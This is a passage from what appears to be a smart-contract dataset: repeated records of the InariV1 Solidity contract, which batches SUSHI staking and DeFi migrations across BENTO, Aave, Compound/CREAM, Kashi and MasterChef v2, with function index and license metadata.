*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
10738,
12221
]
} | 11,771 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | bridgeToken | function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
| /// @notice Helper function to approve this contract to spend tokens and enable strategies. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
1521,
1801
]
} | 11,772 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
